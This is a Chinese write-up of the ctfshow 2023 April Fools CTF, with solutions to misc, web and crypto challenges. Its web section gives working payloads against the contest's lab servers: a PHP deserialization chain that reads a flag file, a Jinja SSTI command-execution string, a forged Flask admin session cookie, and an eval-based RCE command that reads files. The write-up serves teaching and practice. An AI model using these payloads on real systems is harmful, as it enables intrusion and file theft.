到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?您让我看到了废墟中挣扎着抬起头的青草。谢谢您。"
x = x.split('。')
x = [i.split('?')for i in x]
s = []
for i in x:
    for j in i:
        s.append(j)
s.remove('')
t = list(set(s))
for i in t:
    print(i, s.count(i))

ctfshow—2023愚人杯wp_第5张图片

四句话重复出现,所以猜测可能搞了个四进制,然后爆爆爆

import itertools

from Crypto.Util.number import *

x = "我必须站在这里。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有听见孩子们的悲鸣?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你是否想过......朋友不再是朋友,家园不再是家园。你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你不曾注意阴谋得逞者在狞笑。你有没有感受到城市在分崩离析?你不曾注意阴谋得逞者在狞笑。你有没有听见孩子们的悲鸣?你有没有感受到城市在分崩离析?你有没有感受到城市在分崩离析?你是否想过......朋友不再是朋友,家园不再是家园。你是否想过......朋友不再是朋友,家园不再是家园。你有没有感受到城市在分崩离析?您让我看到了废墟中挣扎着抬起头的青草。谢谢您。"
x = x.split('。')
x = [i.split('?') for i in x]
s = []
for i in x:
    for j in i:
        s.append(j)
s.remove('')
t = ['你有没有听见孩子们的悲鸣', '你是否想过......朋友不再是朋友,家园不再是家园', '你有没有感受到城市在分崩离析',
     '你不曾注意阴谋得逞者在狞笑']

for k in itertools.permutations('0123'):
    m = ''
    for i in s:
        if i == t[0]:
            m += k[0]
        elif i == t[1]:
            m += k[1]
        elif i == t[2]:
            m += k[2]
        elif i == t[3]:
            m += k[3]
    m = long_to_bytes(int(m, 4))
    if b'ctfshow' in m:
        print(m)
# b'ctfshow{xingbucengxing_yibuzaiyi_zaikelianyilianba}'

ctfshow{xingbucengxing_yibuzaiyi_zaikelianyilianba}

低端的base64

发现大部分文本每隔四个就是5,而中文字符经过unicode编码,经过十六进制和二进制的表达,最后映射在base64中的字符大部分是5;还发现居然没有大写字母,所以猜测这段文本被lower()了,所以开始了爆破,再base64解码后找有意义的文本

# 丑陋的代码
import base64

x = '5li65lqg6ziy5q2i5asn5a625oml5yqo5pon5l2c5oir5bey57up5oqk5byx6i6x6zibkgzsywcp6jep5zyo6l+z5q616k+d55qe5p+q5liq5zyw5pa55lqg77ym5l2g5lus5lin5lia5a6a5om+5b6x5yiw5zof77ym5zi75zi75zi744cc5awx56we5p2l5pwy5l2g5a626zeo77ym5bim552a56ev57sv5zkm54m55b6b77ym5z2m55m95luo5a695oqx5ous5luo5lil77ym5lin5zcs6k+d57uz5l2g5omt5lia6zki44cckgzsywcp5zyo5zoq6yem5zgakgzsywcp5zyo5zoq6yem77ymkgzsywcp5zyo6ykj5bcp5pyl5y+l55qe55y8552b6yem44cc5asp5a+55zyw77ym6zuo5a+56aoo44cc5asn6zmg5a+56zw/56m644cc5bgx6iqx5a+55rw35qcr77ym6lwk5pel5a+56iun56m544cc6zu36zqq6zqq77ym6zu+6jkz6jkz44cc5bya5bic5asn5zcj5lih5lql5lqo6yca44cc5bmz5lue5bmz5lue5bmz5bmz5lue77ym5lue5bmz5lue5bmz5lue5lue5bmz77ym5lue5lue5bmz44cc5lyx5oma5zgo55+l77ymj2n0znnob3cn55qekgzsywcp5yw35ash5lul5lil5yeg5liq54m554k577ym5lia5piv5lulj2n0znnob3cn5bya5as077ym5zco6z2i6lef552a6iqx5ous5y+35zkm5yeg5liq5awh5ocq55qe5lic6kw/77ym6ykj5liq5lic6kw/5y+r5ygaj3v1awqn77ym5li65lua5lmi5ymn6z2i6kab6k+06l+z5lmi5asa5bqf6k+d5zgi5piv5zug5li65lih5lia5lin6k+05bqf6k+d6l+z5liq6aky5bcx5asq5aw95yga5lqg6l+z5oco5lmi5y+v5lul5zgi77ym5lih5lia5pyj5lq65oqk6l+z5liq5lic6kw/5ps+5zyoy3lizxjjagvm6yem5lia5oqk5qkt5l2g5piv5qkt5lin5ye65p2l77ym54s25zco5yan57uz5oir6l+z5lmi5lia5liq6iux5pah5a2x5q+n5lia5liq6iux5pah5a2x5q+n55qe5ps55asn5bcp5yaz77ym6l+z5oco5lmi6io96kgm5zgi77ym6l+z6ikv5a6a5piv5lin6kgm55qe5a+55lin5a+5iwn0znnob3d7ymfzzty0xzfz5asq6zq+5lqgisfj5pyn5lqgvsf95oma5lul5oir6l+z5zue5zc45y+w5pwz6k6t77ym5zyo5ymn5zco6yo95yqg5lqg5lia54k554k55lic5lic77ym6l+z5qc35bcx5lin6io95pyj5bii5ykf5oml5yqo5p2l5ps55lqg5a+55lin5a+55zga44cc5oir5y+j6kkl6yem5pyj5lia5liq5bcp6k6+5ash77ym5y+v5lul6k6/6zeu5yeg5lmo5ywo6yoo55qe5lq657g755+l6k+g44cc5oir5y2055so5a6d5lio5lin6k6k6k+g55qe5lq66l+b6kgm5q+r5peg5osp5lmj55qe5lqj6k6677ym5bm255yl5o6i5aes55qe54wn54mh44cc5b2x5zon57yw56il5pwi546h5pya5asn55qe5zug57sg77ym5lin5piv5l2/55so5l2v56en57yw56il6k+t6kia77ym6icm5piv5pio5pma5l2g55qe552h55yg5piv5zcm5ywf6laz44ccssb3b3jrighhcmqgzxzlcnlkyxkgc28gdghhdcbhbgwgd2hvigxvdmugbwugd2lsbcbizsbwcm91zcbvzibtzseh6z2i5zcr5a+56lgh57yw56il55qe6zeu6aky5piv77ym6buy6k6k5bim5pyj546v5akd44cc5l2g5y+q5ooz6kab5lia5liq6aaz6jwj77ym5l2g5piv5b6x5yiw5lqg5lia5y+q5ou/552a6aaz6jwj55qe5asn54yp54yp77ym55sa6iez6l+y5pyj5pw05liq5lib5p6x44cc5l2g5lin5piv6k6o5y6mj0phdmen77ym5l2g5y+q5piv6k6o5y6m5bel5l2c44cc6icm5bcx5zyo5q2k5pe25oir5bey57up5ooz5lin5ye66aqa6k+d5lqg6l+z5y+v5oco5lmi5yqe5zga77ym5oma5lul5oir5om+576k5y+l5b6b6zug5lqg5lia5lqb6aqa6k+d6l+z5qc35oir5bcx5lin55so57un57ut56cb5a2x5lqg44cctmlnahqgaxmgbmv2zxigzgfyay5jbib0agugbmlnahqsqwxiaxp6awegaxmgc3rpbgwgcmvkllrozsbqbhvzacbxaxn0zxjpysbpcybzdglsbcbwdxjwbgutd2hpdguusxqgagfzig5vdghpbmcgdg8gzg8gd2l0acbuawdodcbvcibkyxkutglrzsxjig1pc3mgew91lel0ighhcybub3roaw5nihrvigrvihdpdgggc3vuc2hpbmugb3igcmfpbi5jdcbkb2vzbid0igv2zw4gbwf0dgvyiglmihlvdsbrbm93ig9yigrvbid0igtub3cuqwx0ag91z2ggssb3awxsihryesb0bybszxqgew91igtub3csvghpbmsgb2ygaxquu28gssbyzwpvawnlzc4g6bur5asc5yw25a6e5luo5p2l5bcx5lin5piv6bur55qe77ym6bur5asc6yem77ym5zci5qyi6iqx6l+y5piv57qi55qe44cc5q+b57us57us55qe57sr6jek6iqx6l+y5piv57sr55m96imy55qe77ym5zkm6bur5asc6l+y5piv55m95asp5rkh5pyj5ywz57o744cc5bcx5yop77ym5oir5ooz5l2g77ym5zkm6bur5asc6l+y5piv55m95asp5rkh5pyj5ywz57o777ym5zkm5pm05asp5zkm5lil6zuo5rkh5pyj5ywz57o777ym55sa6iez5zkm5l2g55+l6ygt5lin55+l6ygt6yo95rkh5pyj5ywz57o777ym5bc9566h5oir6l+y5piv5lya5bc96yep6k6p5l2g55+l6ygt77ym5ooz5yiw6l+z6yem77ym5lqo5piv5qyi5zac44cc'
x = [x[i:i + 4] for i in range(0, len(x), 4)]
y = []
for i in x:
    s = []
    for j in i:
        if j.isdigit():
            s.append(j)
        else:
            s.append([j, j.upper()])
    y.append(s)
for i in y:
    res = ''
    print()
    for a in i[0]:
        for b in i[1]:
            for c in i[2]:
                for d in i[3]:
                    try:
                        print(base64.b64decode((a + b + c + d).encode()).decode(), end=', ')
                    except:
                        pass

部分文本

对, 对, 
#t, !ct, 
fsh, fsN, 
ow{, w{, 
bas, baY, 
fܴ, e64, 
ős, őY, _1s, _1Y, 
太, 夐, 
难, 难, 
亠, 了, 
!!c, !!I, 
朧, 服, 
亠, 了, 
U!}, 
扚, 所, 
以, 介, 

最后拼拼凑凑拿到flag

ctfshow{base64_1s太难了!!I服了U!}

WEB

easy_signin

文件包含

http://*.challenge.ctf.show/?img=ZmFjZS5wbmc=)

base64b编码找index.php页面

ctfshow—2023愚人杯wp_第6张图片

base64解码拿flag

ctfshow—2023愚人杯wp_第7张图片

被遗忘的反序列化

原生类的利用

源码给出很多类,直接发现gBoBg的__toString是最好利用的,直接利用原生类查找文件并读取就好了,这里没有限制可以直接找到根目录下的flag,然后读取就可以了

poc:



class gBoBg{
    public $name;
    public $file;
    public $coos;

    public function __construct() {
        $this->name = 1;
        $this->coos = 'SplFileObject';
        $this->file = '/f1agaaa';
    }


    public function __toString(){
        if(isset($this->name)){
            echo 1;
            $a = new $this->coos($this->file);
            echo $a;
        }else if(!isset($this -> file)){
            return $this->coos->name;
        }else{
            $aa = $this->coos;
            $bb = $this->file;
            return $aa();
        }
    }
}   

class w_wuw_w{
    public $aaa;
    public $key;
    public $file;

    public function __construct(){
        $this->file = "";
        $this->aaa = new gBoBg();
    }

    public function __wakeup(){
        if(!preg_match("/php|63|\*|\?/i",$this -> key)){
            $this->key = file_get_contents($this -> file);
        }else{
            echo "不行哦";
        }
    }

    public function __destruct(){
        echo $this->aaa;
    }

    public function __invoke(){
        $this -> aaa = clone new EeE;
    }
}

// $_ip = $_SERVER["HTTP_AAAAAA"];
// unserialize($_ip);
$a = new w_wuw_w();
echo (serialize($a));
unserialize(serialize($a));
// $p = 'O%3A7%3A%22w_wuw_w%22%3A3%3A%7Bs%3A3%3A%22aaa%22%3BO%3A5%3A%22gBoBg%22%3A4%3A%7Bs%3A4%3A%22name%22%3Bi%3A1%3Bs%3A4%3A%22file%22%3Bs%3A3%3A%22%2Ff%2A%22%3Bs%3A4%3A%22coos%22%3Bs%3A17%3A%22DirectoryIterator%22%3Bs%3A11%3A%22%00gBoBg%00eeee%22%3Bs%3A3%3A%22-_-%22%3B%7Ds%3A3%3A%22key%22%3BN%3Bs%3A4%3A%22file%22%3Bs%3A0%3A%22%22%3B%7D';
// unserialize(urldecode($p));

payload:

O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";i:1;s:4:"file";s:8:"/f1agaaa";s:4:"coos";s:13:"SplFileObject";}s:3:"key";N;s:4:"file";s:0:"";}

ctfshow—2023愚人杯wp_第8张图片

easy_ssti

源码:

from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)

@app.route('/hello/')
def hello(name=None):
    return render_template('hello.html',name=name)
@app.route('/hello/')
def hellodear(name):
    if "ge" in name:
        return render_template_string('hello %s' % name)
    elif "f" not in name:
        return render_template_string('hello %s' % name)
    else:
        return 'Nonononon'

只要实现“ge”在payload或者payload里面没有f就行,hackbar选一个打就完事了

payload:

{{g.pop.__globals__.__builtins__['__import__']('os').popen('cd ..;cat *l*').read()}}

ctfshow—2023愚人杯wp_第9张图片

easy_flask

注册登录拿源码app.py

# app.py
from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response

app = Flask(__name__)

app.secret_key = 'S3cr3tK3y'

users = {
    'admin': {'password': 'LKHSADSFHLA;KHLK;FSDHLK;ASFD', 'role': 'admin'}
}


@app.route('/')
def index():
    # Check if user is loggedin
    if 'loggedin' in session:
        return redirect(url_for('profile'))
    return redirect(url_for('login'))

@app.route('/login/', methods=['GET', 'POST'])
def login():
    msg = ''
    if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
        username = request.form['username']
        password = request.form['password']
        if username in users and password == users[username]['password']:
            session['loggedin'] = True
            session['username'] = username
            session['role'] = users[username]['role']
            return redirect(url_for('profile'))
        else:
            msg = 'Incorrect username/password!'
    return render_template('login2.html', msg=msg)


@app.route('/register/', methods=['GET', 'POST'])
def register():
    msg = '' 
    if request.method == 'POST' and 'username' in request.form and 'password' in request.form:
        username = request.form['username']
        password = request.form['password']
        if username in users:
            msg = 'Account already exists!'
        else:
            users[username] = {'password': password, 'role': 'user'}
            msg = 'You have successfully registered!'
    return render_template('register2.html', msg=msg)



@app.route('/profile/')
def profile():
    if 'loggedin' in session:
        return render_template('profile2.html', username=session['username'], role=session['role'])
    return redirect(url_for('login'))


@app.route('/show/')
def show():
    if 'loggedin' in session:
        return render_template('show2.html')

@app.route('/download/')
def download():
    if 'loggedin' in session:
        filename = request.args.get('filename')
        if 'filename' in request.args:              
            return send_file(filename, as_attachment=True)
  
    return redirect(url_for('login'))


@app.route('/hello/')
def hello_world():
    try:
        s = request.args.get('eval')
        return f"hello,{eval(s)}"
    except Exception as e:
        print(e)
        pass
        
    return "hello"
    


@app.route('/logout/')
def logout():
   session.pop('loggedin', None)
   session.pop('id', None)
   session.pop('username', None)
   session.pop('role', None)
   return redirect(url_for('login'))


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=8080)

秘钥泄露了出来,flask session伪造role为admin

11

.eJyrVsrJT09PTcnMU7Iy1FEqys9JVbJSSkzJBQroKJUWpxblJeYihGoBhUwP8Q.ZCpWkw.ZarSk9Q-vch3R8_SvIL2klcfPls

ctfshow—2023愚人杯wp_第10张图片

/hello路由下可以直接命令执行:

/hello?eval=__import__('os').popen('cat /f*').read()

ctfshow—2023愚人杯wp_第11张图片

CRYPTO

easy_base

密文如下:

4C455A5645334C44474A55484D5A42544F5132574956525A50464E464F4E4C474D4656454D334359474A554751564B4949493255535532464E42544643504A35

CyberChef一把(无敌的magic)

ctfshow—2023愚人杯wp_第12张图片

ctfshow{yu_ren_j1e_haPpy!!!}

大牛的密码

e n c r y p t 1 ( ) encrypt1() encrypt1()函数就是交换位子,换来换去又换回来了,所以没啥影响

e n c r y p t 2 ( ) encrypt2() encrypt2()函数也是换位子,根据 S _ B O X S\_BOX S_BOX中的元素进行重新排序,逆一下子就好了

S_BOX = [9, 31, 32, 38, 20, 1, 22, 4, 8, 2, 11, 21, 7, 18, 46, 23, 34, 3, 19, 12, 45, 30, 27, 37, 5, 47, 28, 36, 0, 43,
         39, 10, 29, 14, 40, 24, 33, 16, 17, 6, 42, 15, 26, 41, 44, 25, 35, 13]
c = [99, 111, 102, 11, 107, 49, 11, 53, 121, 48, 114, 117, 11, 95, 112, 95, 109, 115, 11, 95, 101, 95, 119, 117, 79,
     123, 111, 48, 110, 95, 121, 116, 121, 125, 116, 11, 119, 11, 97, 67, 11, 11, 11, 11, 11, 99, 110, 104]
for k in range(16):
    tmp, c = c, []
    for i in range(len(S_BOX)):
         c.append(tmp[S_BOX.index(i)])
print(''.join([chr(i) for i in c]))
# ctfshow{y0u_c5n_make_y0u1_own_CryptO}

ctfshow{y0u_c5n_make_y0u1_own_CryptO}

Comedy

a s s e r t   m . b i t _ l e n g t h ( ) < 200 A = ( 2022 − 2023 ∗ m ) % B l e a k = p o w ( 2 , 2023 , B ) assert\ m.bit\_length() < 200\\ A = (2022 - 2023 * m) \% B \\ leak = pow(2, 2023, B) assert m.bit_length()<200A=(20222023m)%Bleak=pow(2,2023,B)

m m m是小于200比特的,而 B B B 1334 + 1334+ 1334+的,200比特不值一提,所以有 B − A = 2023 ∗ m − 2022 B-A=2023*m-2022 BA=2023m2022, A A A B B B很接近

l e a k + k ∗ B = 2 2023 leak+k*B = 2^{2023} leak+kB=22023, 所以 k = 2 2023 − l e a k B = 2 2023 − l e a k A k = \frac {2^{2023}-leak}{B}= \frac{2^{2023}-leak}{A} k=B22023leak=A22023leak,有了 k k k就能求 B B B了,然后就简简单单

from Crypto.Util.number import *

A = 493275281479560936332761096886786925792234184811353209227551802099268192839677496844153534128991899414803550843408607188612593757622064753867565869035222715177143938385039508273050267347710495512806264863554858016145161165422812554800693811328453743229819656381224407015421235005940088439590887928051969351426291843586132741521121351667152673680122929827805479163871436776753859965413192837591532468372
leak = 238829196127128263156194898141748280130190920343265228257398802867203846004703877952990524473329125233083096275276064071930416561616135910190674099345267027039386328203653489152769309498199556401574021633071022874689081585677578010276529507102304828451681000682208089162940529052283763507244593173690786957816545746540436261888398732172965945762569416702401859253725696471593023885944262561159982327952
kb0 = 2 ** 2023 - leak
B = kb0 // (kb0 // A)
m = (B - A + 2022) // 2023
print(long_to_bytes(m) + long_to_bytes(B))
# b'ctfshow{UNKNOWN_MODULUS_T0_BR1NG_L3UGHTER_AND_J@Y_TO_TH3_W0RLD}\x0c]\xee)\xa5\xb7(\xe1\x9a\xc5\x0c\xf6\x1d\xcbH\xcbz\xf9\x9b\xa8y\x9e\xc0\xd8\x82\xe5\xf5\xb2\x9b\xccQ*\x1b\x04\x8c\xcf\xb4\xb1\x1bT\xfa\x07\xee\xe5\x8bv\xdf\xe0B\xfb\x8e{\x0e\x98t\xda\xfa7\xbaeK\x03\xd9\xe1\xdf\xa7")\x8e\xf0g\xcc\xe8\x01\xe5\xb8\x9c\xeflD\x06\xfc\xab"\x8eq\x7f\x944\xfa\xdeO7\xec\x9d\xcf_\xd3\x17\xffh\x83k\xe1\x0c\xfd\xf0\xee\xcf\\pu\xe5\xa9x\xcd4#\n]\xf8\x8d\xf0\x13\xa5\\Dg'

ctfshow{UNKNOWN_MODULUS_T0_BR1NG_L3UGHTER_AND_J@Y_TO_TH3_W0RLD}

ecc_mini

第一部分

m1 = int(str(flag)[:5]) - 4585
E = EllipticCurve(GF(p), [a, b])
X = E.lift_x(m1)
Y = 7 * X

m 1 m1 m1是一个五位数,可以爆破一下子

import tqdm

p = 71397796933602469825964946338224836258949974632540581233301840806613437378503
a = 106105288190268015217241182934677375171023341761047638573248022053052499733117
b = 76170541771321874396004434442157725545076211607587599314450304327736999807927
E = EllipticCurve(GF(p), [a, b])

for m1 in tqdm.tqdm(range(10000, 99999)):
    try:
        X = E.lift_x(m1 - 4585)
        Y = 7 * X
        if Y[0] == 33237936857741483513705672980652927705102229733798436323453609986072499230366:
            print(m1)
            break
    except:
        pass
# 62428

第二部分

k = getPrime(256)
K = k * G
r = getPrime(256)
c1 = m + r * K
c2 = r * G
w2 = m[0] * m2

已知 k , c 1 , c 2 , w 2 k,c1,c2,w2 k,c1,c2,w2,有 m = c 1 − k ∗ c 2 m = c1-k*c_2 m=c1kc2 m 2 = w 2 ∗ i n v e r s e ( i n t ( m [ 0 ] ) , p ) m2 = w2 * inverse(int(m[0]), p) % p m2=w2inverse(int(m[0]),p)

from Crypto.Util.number import inverse, long_to_bytes
p = 71397796933602469825964946338224836258949974632540581233301840806613437378503
